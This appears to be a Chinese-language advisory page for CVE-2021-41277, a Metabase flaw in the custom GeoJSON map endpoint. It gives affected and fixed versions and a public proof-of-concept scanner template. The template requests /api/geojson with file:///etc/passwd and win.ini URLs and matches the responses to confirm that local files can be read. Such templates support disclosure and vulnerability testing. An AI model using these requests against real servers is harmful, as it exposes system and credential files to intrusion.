CVE-2021-41277: Metabase 输入验证错误漏洞

日期: 2025-09-01 | 影响软件: Metabase | POC: 已公开

漏洞描述

在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。 影响版本: metabase version < 0.40.5 metabase version >= 1.0.0, < 1.40.5 修复版本: metabase version >= 0.40.5 metabase version >= 1.40.5

PoC代码[已公开]

id: CVE-2021-41277

info:
  name: Metabase 输入验证错误漏洞
  author: rain
  severity: high
  verified: true
  description: |
    在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
    影响版本:
      metabase version < 0.40.5
      metabase version >= 1.0.0, < 1.40.5
    修复版本:
      metabase version >= 0.40.5
      metabase version >= 1.40.5
  tags: cve,cve2021,metabase
  created: 2023/07/15

rules:
  r0:
    request:
      method: GET
      path: /api/geojson?url=file:///etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /api/geojson?url=file:///c://windows/win.ini
    expression: response.status == 200 && response.body.bcontains(b"bit app support")
expression: r0() || r1()

相关漏洞推荐